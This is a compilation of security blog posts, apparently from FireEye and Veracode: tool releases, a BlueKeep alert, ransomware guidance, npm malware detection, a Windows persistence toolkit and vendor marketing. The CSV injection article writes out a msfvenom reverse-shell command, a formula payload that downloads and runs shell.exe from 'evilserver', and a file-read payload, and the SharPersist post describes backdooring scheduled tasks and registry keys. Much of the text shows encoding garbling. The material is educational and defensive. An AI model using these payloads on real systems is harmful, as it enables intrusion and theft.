StringSifter is built to sit downstream from the Strings program; it takes a list of strings as input and returns those same strings ranked according to their relevance for malware analysis as output. It is intended to make an analyst's life easier, allowing them to focus their attention on only the most relevant strings located towards the top of its predicted output. StringSifter is designed to be seamlessly plugged into a user’s existing malware analysis stack. Once its GitHub repository is cloned and installed locally, it can be conveniently invoked from the command line with its default arguments according to:

strings <sample_of_interest> | rank_strings

We are also providing Docker command line tools for additional portability and usability. For a more detailed overview of how to use StringSifter, including how to specify optional arguments for customizable functionality, please view its README file on GitHub.

We have received great initial internal feedback about StringSifter from FireEye’s reverse engineers, SOC analysts, red teamers, and incident responders. Encouragingly, we have also observed users at the opposite ends of the experience spectrum find the tool to be useful – from beginners detonating their first piece of malware as part of a FireEye training course – to expert malware researchers triaging incoming samples on the front lines. By making StringSifter publicly available, we hope to enable a broad set of personas, use cases, and creative downstream applications. We will also welcome external contributions to help improve the tool’s accuracy and utility in future releases.

Conclusion

We are releasing StringSifter to coincide with our presentation at DerbyCon 2019 on Sept. 7, and we will also be doing a technical dive into the model at the Conference on Applied Machine Learning for Information Security this October. With its release, StringSifter will join FLARE VM, FakeNet, and CommandoVM as one of many recent malware analysis tools that FireEye has chosen to make publicly available. If you are interested in developing data-driven tools that make it easier to find evil and help benefit the security community, please consider joining the FDS or FLARE teams by applying to one of our job openings.

ACSC confirms the public release of BlueKeep exploit

The Australian Signals Directorate’s Australian Cyber Security Centre (ACSC) is aware of the overnight release of a working exploit for the vulnerability known as BlueKeep (CVE-2019-0708). Australian businesses and users of older versions of Windows should update their systems as soon as practically possible, before hackers further refine their tools and tradecraft in order to fully utilise this exploit.

Data Extraction to Command Execution CSV Injection

As web applications get more complex and more data driven, the ability to extract data from a web application is becoming more common. I work as a principal penetration tester on Veracode???s MPT team, and the majority of web applications that we test nowadays have the ability to extract data in a CSV format. The most common software installed in corporate environments is Microsoft Excel, and this software has the ability to open CSV files (in most cases, this is the default). It should be noted that this type of attack would also affect LibreOffice as it would also interpret the payload as formula.

Attack Requirements

In order to perform a basic attack, a number of requirements are needed. An attacker needs the ability to inject a payload into the tables within the application. The application needs to allow a victim to download this data into CSV format that can then be opened in Excel. This would cause the payload to be interpreted as an Excel formula and run.

Basic Attack

1. Search the application to find a location where any data input can be extracted.

2. Inject Payload =HYPERLINK(???http://www.veracode.com ???, ???Click for Report???)

3. Confirm the application is vulnerable to this type of attack. Extract the data and confirm the payload has been injected by opening the CSV file in Microsoft Excel.

4. You can then see a ???Click for Report link??? in the Excel File. This indicates the payload has been injected correctly.

In this scenario, when the victim clicks on the link, it will take them to the Veracode website. This type of attack might not seem too serious, but consider the following:

Instead of redirecting an end user to the Veracode website, we could redirect the end user to a server we controlled, which contained a clone of the website. We could then ask the victim to authenticate to our clone website, allowing us as the attacker to steal his or her credentials. We could then use these credentials on the original website and have access to all his or her personal information or any functionality the account has access to. There are also a number of other attacks possible with this type of formula injection, including exfiltrating sensitive data, obtaining remote code execution, or even reading the contents of certain files under the right circumstances. We can look at one of these types of attacks below.

Advance Attack ??? Remote Command Execution

A more advanced attack would use the same method as above but with a different payload, which would lead to remote code execution. This type of attack does depend on a number of factors and might not always be possible. However, it???s still worth considering and also highlights how serious this vulnerability can be under the right circumstances.

Attack in Steps

1. We???ll use a shell.exe file, which can contain whatever we want to execute on the system but, in this scenario, we will use msfvenom to create a reverse Meterpreter payload.

msfvenom -p windows/meterpreter/reverse_tcp  -a x64 --platform Windows LHOST= LPORT=1234 -f exe > shell.exe

2. We also need to set up a listener that will wait for the connect back to us once the shell.exe payload has been executed on the victim???s machine. We will use Metasploit multi/handler for this example. We need to set the LPORT and also make sure the IP address is correct.

3. We also need to host the shell.exe payload so it can be downloaded. For this, I used the following command, python -m SimpleHTTPServer 1337, which will set up a simple web server in the current directory on my system. A real attack might host this on a compromised web server.

4. Once all this has been set up, we could then inject the payload into the application and wait for a victim to download the CSV file and click on the cell with the payload in it.

=cmd|' /C powershell Invoke-WebRequest "http://evilserver:1337/shell.exe"

-OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Breakdown of Payload

  • The first line is calling cmd, which gets passed to the PowerShell Invoke-WebRequest to download a shell.exe file from our evilserver on port 1337. Note that if the host is running PowerShell version 2, the Invoke-WebRequest won???t work.
  • The next line is saving the shell.exe file into the temp directory. The reason we use the temp directory is because it???s a folder anyone can write to.
  • We then start a process to execute the downloaded shell.exe payload.

5. Once the victim opens the file, the CSV injection payload would run. However, it may present a ???Remote Data Not Accessible??? warning. The chances are that most victims would think the file has come from a legitimate source and so they need to select yes to view the data. It should also be noted that in this scenario the Excel file is empty apart from our payload. In a real-world attack, the Excel file would be populated with information from the application.

6. Once the victim selects yes, within a few moments, Metasploit will get a reverse connect from the victim???s host.

7. At this point, the attacker can perform a number of tasks depending on the level of access he or she has obtained. This includes, but is not limited to, stealing passwords in memory, attacking other systems in the network (if this host is connected to a network), taking over uses??? webcams, etc. In fact, under the right circumstances, it would be possible to compromise an entire domain using this attack.

When testing for CSV injections, in most instances, a tester will use a simple payload. This is due to a number of reasons. It???s not uncommon for a tester to demonstrate this type of attack by using a Hyperlink payload like the one above, or a simple cmd payload like the following =cmd|???/C cmd.exe ???!???A.

Some might also use the following payload depending on the operating system: ='file://etc/passwd'#$passwd.A1

This would read the first line within the etc/passwd file on a Linux system.

Mitigating the Risk

The best way to mitigate against this type of attack is to make sure all users??? inputs are filtered so only expected characters are allowed. Client-supplied inputs should always be considered unsafe and treated with caution when processing. CSV injection is a side effect of bad input validation, and other types of web attacks are due to weak input validation. To mitigate against CSV injections, a default-deny regular expression or ???whitelist??? regular expression should be used to filter all data that is submitted to the application. Because Excel and CSV files utilize equals signs (=), plus signs (+), minus signs (-), and ???At??? symbols (@) to denote formulas, we recommend filtering these out to ensure no cells begin with these characters. Any element that could appear in a report could be a target for Excel / CSV injections and should be further validated for CSV injection.

In summary, CSV injection is not a new attack vector, but it???s one that developers often forget about. As more web applications have the ability to extract data, it???s one that could have serious consequences if steps are not taken to mitigate the risk it poses. In addition, developers should be checking user input for other types of attacks like XSS.

 

Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment

Ransomware is a global threat targeting organizations in all industries. The impact of a successful ransomware event can be material to an organization - including the loss of access to data, systems, and operational outages. The potential downtime, coupled with unforeseen expenses for restoration, recovery, and implementation of new security processes and controls can be overwhelming. Ransomware has become an increasingly popular choice for attackers over the past few years, and it’s easy to understand why given how simple it is to leverage in campaigns – while offering a healthy financial return for attackers.

In our latest report, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment, we discuss steps organizations can proactively take to harden their environment to prevent the downstream impact of a ransomware event. These recommendations can also help organizations with prioritizing the most important steps required to contain and minimize the impact of a ransomware event after it occurs.

Ransomware is commonly deployed across an environment in two ways:

  1. Manual propagation by a threat actor after they’ve penetrated an environment and have administrator-level privileges broadly across the environment:
    • Manually run encryptors on targeted systems.
    • Deploy encryptors across the environment using Windows batch files (mount C$ shares, copy the encryptor, and execute it with the Microsoft PsExec tool).
    • Deploy encryptors with Microsoft Group Policy Objects (GPOs).
    • Deploy encryptors with existing software deployment tools utilized by the victim organization.
  2. Automated propagation:
    • Credential or Windows token extraction from disk or memory.
    • Trust relationships between systems – and leveraging methods such as Windows Management Instrumentation (WMI), SMB, or PsExec to bind to systems and execute payloads.
    • Unpatched exploitation methods (e.g., EternalBlue – addressed via Microsoft Security Bulletin MS17-010).

The report covers several technical recommendations to help organizations mitigate the risk of and contain ransomware events including:

  • Endpoint segmentation
  • Hardening against common exploitation methods
  • Reducing the exposure of privileged and service accounts
  • Cleartext password protections

If you are reading this report to aid your organization’s response to an existing ransomware event, it is important to understand how the ransomware was deployed through the environment and design your ransomware response appropriately. This guide should help organizations in that process.

Read the report today.

*Note: The recommendations in this report will help organizations mitigate the risk of and contain ransomware events. However, this report does not cover all aspects of a ransomware incident response. We do not discuss investigative techniques to identify and remove backdoors (ransomware operators often have multiple backdoors into victim environments), communicating and negotiating with threat actors, or recovering data once a decryptor is provided.

Discovering Malicious Packages Published on npm

Sightings of malicious packages on popular open source repositories (such as npm and RubyGems) have become increasingly common: just this year, there have been several reported incidents.

This method of attack is frighteningly effective given the widespread reach of popular packages, so we've started looking into ways to discover malicious packages to hopefully preempt such threats.

The problem

In November 2018, a malicious package named ???flatmap-stream??? was discovered as a transitive dependency of a popular library, ???event-stream,??? with 1.4 million weekly downloads. Here, the attacker gained publishing rights through social engineering, targeting a package that was not regularly maintained. The attacker published an updated version, ???3.3.6,??? adding malicious code to steal cryptocurrency. This went undetected for two to three months.

In a separate incident from June 2019, a malicious package ???electron-native-notify??? was discovered to be stealing sensitive information, such as cryptocurrency wallet seeds and other credentials. The attacker waited for the package to be consumed by another popular library before introducing malicious code into subsequent releases. This was also undetected for two to three months.

Detection of the problem

Malicious packages tend to exhibit a number of common patterns. To understand the common patterns contained in malicious packages, we looked at a past research paper, ???Static Detection of Application Backdoors??? (https://www.veracode.com/sites/default/files/Resources/Whitepapers/static-detection-of-backdoors-1.0.pdf), as well as going through publicly reported incidents to come up with the following list.

Obfuscation

Malicious packages tend to hide payloads using encoding methods such as base64 and hex. Such APIs are typically used only by libraries, which implement low-level protocols or provide utility functions, so finding them is a good indicator that a package is malicious.

Reading of sensitive information

Sensitive information is data from the environment, which libraries should only be reading with good reason. This includes files like ???/etc/shadow,??? ???~/.aws/credentials,??? or SSH private keys.

Exfiltration of information

Libraries are unlikely to contact hardcoded external servers; this is something more commonly done in downstream applications. Malicious libraries tend to do this to exfiltrate information, so we look for such occurrences.

Remote code execution

A pre-install or post-install script is a convenient way of running arbitrary code on a victim's machine. Payloads may also be downloaded from external sources.

Typo-squatting

While typo-squatted packages are not always malicious, they are a red flag. We deem typo-squatted packages as malicious, since they may provide the exact same functionality and interface, and may update their payload when the package becomes dependent on other popular packages.

Implementation of a detector for malicious packages

To find malicious packages in the wild, we wrote specific, lightweight static analyses for each pattern and ran them over our dataset of npm packages, looking for packages flagged by one or more detectors. False positives were expected; the plan was to narrow the number of candidates to the point where manual verification was feasible.

Two example analyses:

  • To find hardcoded external URLs, we extracted URL-like string literals from the abstract syntax trees of JavaScript source files.
  • To detect typo-squatting, we looked for package names with a maximum Levenshtein distance of 2 between the names of the top 1000 packages, e.g., ???mogobd??? vs. ???mongodb.???

We ran these only on the latest versions of packages.

Results

The full analysis took less than a day and uncovered 17 new malicious packages:

* axioss

* axios-http

* body-parse-xml

* sparkies

* js-regular

* file-logging

* mysql-koa

* import-mysql

* mogodb

* mogobd

* mogoose

* mogodb-core

* node-ftp

* serializes

* serilize

* koa-body-parse

* node-spdy

We disclosed these malicious packages to the npm security team, and they were yanked from the registry.

Most of the malicious packages above hide their payloads as a ???test??? and use pre-/post-/test-install scripts to exfiltrate information. For example, ???node-ftp??? exposes the host information of the victim by sending the values of ???os.hostname(),??? ???os.type(),??? ???os.uptime(),??? and ???os.tmpdir()??? to its server at ???arnoxia.cn.???

Disclosure timeline

The disclosure timeline was as follows:

Conclusion

This activity of finding undetected malicious packages has further confirmed our suspicions of the existence of harmful libraries out in the open, and is only the beginning of our quest to efficiently overturn all stones to reduce potential threats. To do this, we intend to perform more regular, automated, and thorough audits on public packages, then generalize these techniques for other package managers like RubyGems.

SharPersist: Windows Persistence Toolkit in C#

Background

PowerShell has been used by the offensive community for several years now but recent advances in the defensive security industry are causing offensive toolkits to migrate from PowerShell to reflective C# to evade modern security products. Some of these advancements include Script Block Logging, Antimalware Scripting Interface (AMSI), and the development of signatures for malicious PowerShell activity by third-party security vendors. Several public C# toolkits such as Seatbelt, SharpUp and SharpView have been released to assist with tasks in various phases of the attack lifecycle. One phase of the attack lifecycle that has been missing a C# toolkit is persistence. This post will talk about a new Windows Persistence Toolkit created by FireEye Mandiant’s Red Team called SharPersist.

Windows Persistence

During a Red Team engagement, a lot of time and effort is spent gaining initial access to an organization, so it is vital that the access is maintained in a reliable manner. Therefore, persistence is a key component in the attack lifecycle, shown in Figure 1.


Figure 1: FireEye Attack Lifecycle Diagram

Once an attacker establishes persistence on a system, the attacker will have continual access to the system after any power loss, reboots, or network interference. This allows an attacker to lay dormant on a network for extended periods of time, whether it be weeks, months, or even years. There are two key components of establishing persistence: the persistence implant and the persistence trigger, shown in Figure 2. The persistence implant is the malicious payload, such as an executable (EXE), HTML Application (HTA), dynamic link library (DLL), or some other form of code execution. The persistence trigger is what will cause the payload to execute, such as a scheduled task or Windows service. There are several known persistence triggers that can be used on Windows, such as Windows services, scheduled tasks, registry, and startup folder, and there continues to be more discovered. For a more thorough list, see the MITRE ATT&CK persistence page.


Figure 2: Persistence equation

SharPersist Overview

SharPersist was created in order to assist with establishing persistence on Windows operating systems using a multitude of different techniques. It is a command line tool written in C# which can be reflectively loaded with Cobalt Strike’s “execute-assembly” functionality or any other framework that supports the reflective loading of .NET assemblies. SharPersist was designed to be modular to allow new persistence techniques to be added in the future. There are also several items related to tradecraft that have been built-in to the tool and its supported persistence techniques, such as file time stomping and running applications minimized or hidden.

SharPersist and all associated usage documentation can be found at the SharPersist FireEye GitHub page.

SharPersist Persistence Techniques

There are several persistence techniques that are supported in SharPersist at the time of this blog post. A full list of these techniques and their required privileges is shown in Figure 3.

Technique

Description

Technique Switch Name (-t)

Admin Privileges Required?

Touches Registry?

Adds/Modifies Files on Disk?

KeePass

Backdoor KeePass configuration file

keepass

No

No

Yes

New Scheduled Task

Creates new scheduled task

schtask

No

No

Yes

New Windows Service

Creates new Windows service

service

Yes

Yes

No

Registry

Registry key/value creation/modification

reg

No

Yes

No

Scheduled Task Backdoor

Backdoors existing scheduled task with additional action

schtaskbackdoor

Yes

No

Yes

Startup Folder

Creates LNK file in user startup folder

startupfolder

No

No

Yes

Tortoise SVN

Creates Tortoise SVN hook script

tortoisesvn

No

Yes

No

Figure 3: Table of supported persistence techniques

SharPersist Examples

On the SharPersist GitHub, there is full documentation on usage and examples for each persistence technique. A few of the techniques will be highlighted below.

Registry Persistence

The first technique that will be highlighted is the registry persistence. A full listing of the supported registry keys in SharPersist is shown in Figure 4.

Registry Key Code (-k)

Registry Key

Registry Value

Admin Privileges Required?

Supports Env Optional Add-On (-o env)?

hklmrun

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

User supplied

Yes

Yes

hklmrunonce

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

User supplied

Yes

Yes

hklmrunonceex

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

User supplied

Yes

Yes

userinit

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Userinit

Yes

No

hkcurun

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

User supplied

No

Yes

hkcurunonce

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

User supplied

No

Yes

logonscript

HKCU\Environment

UserInitMprLogonScript

No

No

stickynotes

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

RESTART_STICKY_NOTES

No

No

Figure 4: Supported registry keys table

In the following example, we will be performing a validation of our arguments and then will add registry persistence. Performing a validation before adding the persistence is a best practice, as it will make sure that you have the correct arguments, and other safety checks before actually adding the respective persistence technique. The example shown in Figure 5 creates a registry value named “Test” with the value “cmd.exe /c calc.exe” in the “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” registry key.


Figure 5: Adding registry persistence

Once the persistence needs to be removed, it can be removed using the “-m remove” argument, as shown in Figure 6. We are removing the “Test” registry value that was created previously, and then we are listing all registry values in “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” to validate that it was removed.


Figure 6: Removing registry persistence

Startup Folder Persistence

The second persistence technique that will be highlighted is the startup folder persistence technique. In this example, we are creating an LNK file called “Test.lnk” that will be placed in the current user’s startup folder and will execute “cmd.exe /c calc.exe”, shown in Figure 7.


Figure 7: Performing dry-run and adding startup folder persistence

The startup folder persistence can then be removed, again using the “-m remove” argument, as shown in Figure 8. This will remove the LNK file from the current user’s startup folder.


Figure 8: Removing startup folder persistence

Scheduled Task Backdoor Persistence

The last technique highlighted here is the scheduled task backdoor persistence. Scheduled tasks can be configured to execute multiple actions at a time, and this technique will backdoor an existing scheduled task by adding an additional action. The first thing we need to do is look for a scheduled task to backdoor. In this case, we will be looking for scheduled tasks that run at logon, as shown in Figure 9.


Figure 9: Listing scheduled tasks that run at logon

Once we have a scheduled task that we want to backdoor, we can perform a dry run to ensure the command will successfully work and then actually execute the command as shown in Figure 10.


Figure 10: Performing dry run and adding scheduled task backdoor persistence

As you can see in Figure 11, the scheduled task is now backdoored with our malicious action.


Figure 11: Listing backdoored scheduled task

A backdoored scheduled task action used for persistence can be removed as shown in Figure 12.


Figure 12: Removing backdoored scheduled task action

Conclusion

Using reflective C# to assist in various phases of the attack lifecycle is a necessity in the offensive community and persistence is no exception. Windows provides multiple techniques for persistence and there will continue to be more discovered and used by security professionals and adversaries alike.

This tool is intended to aid security professionals in the persistence phase of the attack lifecycle. By releasing SharPersist, we at FireEye Mandiant hope to bring awareness to the various persistence techniques that are available in Windows and the ability to use these persistence techniques with C# rather than PowerShell.

Tips for Kicking Off Your Veracode Security Program Manager Relationship

If you???re a Veracode customer, there???s a good chance that you???ve heard of ??? or maybe even work with ??? a Veracode security program manager (SPM). For those of you who might not know, SPMs help you define the goals of your application security program, onboard your team, answer any questions about Veracode products, and work with your teams to ensure that your program stays on track and continues to mature.

If you???re just kicking off your relationship with your program manager, you might be wondering what to expect on your initial calls, and how you can make the most out of the time you spend interacting with each other. Here are a few things you should keep in mind:

How are you developing software?

To realize the value of your investment, we need to understand how your development process works. Right off the bat, your security program manager will want to talk about your existing tech stack (aka ??? the technology you???re currently using to make your software). There???s a good chance that your organization could be in a different place at the time of your kickoff call compared to where it was when your sales cycle closed. Yes, your account executive will tell your program manager all that he or she knows about your status at the time of closing, but in case anything does change, it???s better to hear everything straight from the horse???s mouth. Helping us understand the size of your software footprint is also key ??? are you licensed for 10 apps, but have a total of 300, or 3,000? How are they governed from a development and security standpoint? Having everyone on the same page on these basics is a good first step towards maturing your AppSec program.

Who are the key players?

You should also have a clear idea of what your organizational layout is, as well as who the key players are on the development and security sides. Your SPM will know who your key players are, but they likely won???t have met them and interacted with them as much as the account executive has. In addition, if your sales cycle has been particularly long, it???s possible the key players have changed. Be prepared to fill your security program manager in on everyone who has a stake in your AppSec program on the development AND security sides of your organization. Additionally, if there???s any turnover within your company down the line, knowing everyone who???s involved will ensure that SPMs have multiple stakeholders with program context who they can go to in order to keep momentum.

SPMs will also want to know the informal structure of your organization, or the ???politics.??? It can be helpful to know if your development and security teams are on the same page when it comes to the priority level of AppSec, or if they get along at all! The more insight your SPM has into your organization, the better prepared you can be ??? as a team ??? to work together moving forward.

Align your goals and expectations appropriately

Often, the goals that customers set up with Veracode and the goals within their own organizations tend to be two different things. Establish a list of realistic goals, and be prepared to take incremental steps to get there. Rome wasn???t built in a day, and neither is a fully mature application security program.

Once you have your manageable goals, establish who is responsible for each one, and how they???re going to be held accountable for meeting each goal. You???ll need to establish clear channels of communication and accountability internally ??? for example, when you???re coming up with a plan to remediate flaws, engage development and product management as soon as you have flaw scopes. Make sure that the amount of remediation you???re targeting is realistic for the desired deadline, and let development know about the remediation resources available in the Veracode platform and in the Services organization in case they get stuck. Your SPM can absolutely help you have that conversation!

When it comes to expectations, have an understanding of the driver behind why Veracode was purchased. In some cases, your buyer might not communicate the driving factor to the person running the program ??? maybe you! Regardless of which end you???re on, make sure that your internal plan is well-communicated with everyone who???s involved across the organization.

At the end of the day, we want you to be successful in your application security journey. By keeping these tips in mind, you???re already one step closer to success. You can find out more by talking to other Veracode customers about how they???ve found success with their application security programs in the Veracode Community.

Veracode Customers Improve Mean Time to Remediation by 90%

Bill Gates is well known for treating time as a scarce resource, and in 1994, John Seabrook published a piece in The New Yorker detailing an email exchange he carried on with the famous technologist. Seabrook notes that Gates??? reverence for time was evident in his correspondence ??? skipping salutations and pleasantries, leaving spelling mistakes and grammatical errors in-line, and never addressing the journalist by his name. In one of the emails, Gates wrote that, ???the digital revolution is all about facilitation ??? creating tools to make things easy.???

Software is the heart of the global economy, and it has paved the way for increased productivity, simplified workflows, and has helped leaders build businesses beyond their wildest dreams. It has changed the way that security practitioners and developer teams view and manage time, through agile methodology and sprint planning facilitated by tools like JIRA.

Just as minutes, hours, and days can be the difference between meeting sprint deadlines and maintaining speed to market, time is also the difference between preventing a massive data breach and being the victim of one. However, although a cutting-corners approach may work well for email correspondence between colleagues, and perhaps journalists, using this timesaving approach when crafting code has the potential to be downright dangerous. Organizations today need to balance time to market and code quality, which includes code security.

How organizations reduced mean time to remediation and saw a 63% ROI with Veracode

We recently commissioned the Forrester Total Economic ImpactTM of Veracode Application Security Platform to learn how our customers??? security and developer teams are strengthening the security posture of their applications by reducing mean time to remediation (MTTR) by implementing DevSecOps practices using our solutions. Based on interviews with Veracode customers in insurance, healthcare, finance, and information technology services, Forrester created a TEI framework, composite company, and an associated ROI analysis to illustrate financial impact.

The report found that prior to using Veracode, the composite organization experienced 60 flaws per MB of code, though they were using other application security testing solutions. After adopting the Veracode Platform and integrating tools into their CI/CD pipeline, the composite saw a reduction in security flaws of 50 percent to 90 percent over three years.

Additionally, by implementing DevSecOps practices, building stringent security controls, and integrating vulnerability testing into their CI/CD pipeline, our customers were able to reduce mean time to remediation by 90 percent. Resolutions that previously took 2.5 hours on average were reduced to 15 minutes, helping developers reduce their time spent remediating flaws by 47 percent. This stands to reason, given that our State of Software Security Volume 9 (SOSS Vol. 9) found that the most active DevSecOps teams fix flaws 11.5x faster than the typical organization.

By using Veracode Greenlight and Veracode Software Composition Analysis, developer teams were able to identify issues while they were coding, which reduced the likelihood that flaws would enter later stages of production. What???s more, our customers??? developer teams introduced fewer flaws to their code, and those flaws took less time to resolve because we offered them contextual information related to the data path and call stack information of their code.

It???s not enough to find security flaws quickly if you???re not remediating the right ones quickly

Most companies prioritize high-severity and critical vulnerabilities because they are less complicated to attack, offer greater opportunity for complete application compromise, and are more likely to be remotely exploitable. The trouble is that if a low-severity vulnerability is present in the execution path, it may put your application at greater risk than a high-severity vulnerability if your application is never calling upon that severe vulnerability in the first place. The exploitability of a vulnerability is a critical consideration many organizations overlook.

In our analysis of flaw persistence in SOSS Vol. 9, we found that organizations hit the three quarters-closed mark about 57 percent sooner for high and very high severity vulnerabilities than for their less severe counterparts. In fact, our scan data indicates that low-severity flaws were attended to at a significantly slower rate than the average speed of closure. It took organizations an average of 604 days to close three quarters of these weaknesses.

With many tools out there, developers will receive an extremely large list of vulnerabilities, including those open source libraries packaged in your application, and they will have to make a judgment call on what to fix first ??? and how much is worth fixing before pushing to production. The stark reality is that the time it takes developers to fix security flaws has a much larger impact on reducing risk than any other factor.

Veracode offers developers the opportunity to write secure code, limit the vulnerabilities introduced into production, and prioritize vulnerabilities with our vulnerable method approach, expert remediation coaching, and security program managers. To learn more about how the Veracode Platform enables security and development teams to work in stronger alignment, reduce mean time to remediation, and boost an organization???s bottom line, download the Forrester Total Economic ImpactTM of Veracode Application Security Platform.